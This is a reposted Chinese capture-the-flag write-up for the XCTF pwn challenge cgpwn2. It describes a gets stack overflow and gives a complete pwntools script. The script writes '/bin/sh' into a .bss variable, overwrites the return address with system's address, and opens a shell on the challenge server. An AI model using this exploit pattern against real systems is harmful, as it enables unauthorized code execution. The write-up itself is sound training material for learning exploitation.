ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【攻防世界pwn-cgpwn2】

2022-01-15 20:30:00  阅读:124  来源: 互联网

标签:bin 攻防 addr system sh io pwn cgpwn2 name


下载文件后,首先检查保护:

随后将文件拖入ida,查看源码,在hello函数中,发现了如下代码

首先用安全的fgets输入了一个变量,接着用不安全的gets接收了一个变量,在此处可以确认是栈溢出,且溢出点就在此处。

开始寻找利用方式,发现了system函数

 

还缺一个"/bin/sh"字符串,找遍了代码,没有发现,但是由于此前可以有一个自己的输入,保存在name变量上,即可以自己手动输入"/bin/sh",自此,设计栈结构为:

 

开始编写脚本:

from pwn import *

io = remote("111.200.241.244",52858)
#需要自己输入“/bin/sh”,而刚好有一个可以输入的地方,且保存位置在bss上
io.recvuntil("please tell me your name")
io.sendline("/bin/sh")

sys_addr = 0x8048420
bin_sh_addr = 0x804A080
#需要0x26 +0x4长度的垃圾数据来完成填充,返回地址上写system的地址
#随后4个字节时system的返回地址,随便填充4字节
#随后是system的参数,即/bin/sh的地址,存放在name变量上
payload = b'a' * (0x26 + 0x4) + p32(sys_addr) + b'a' * 4 + p32(bin_sh_addr)
#发送payload,覆盖seed
io.recvuntil("hello,you can leave some message here:")
io.sendline(payload)
io.interactive()

 开始攻击:

 

 

标签:bin,攻防,addr,system,sh,io,pwn,cgpwn2,name
来源: https://blog.csdn.net/a_silly_coder/article/details/122515217

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有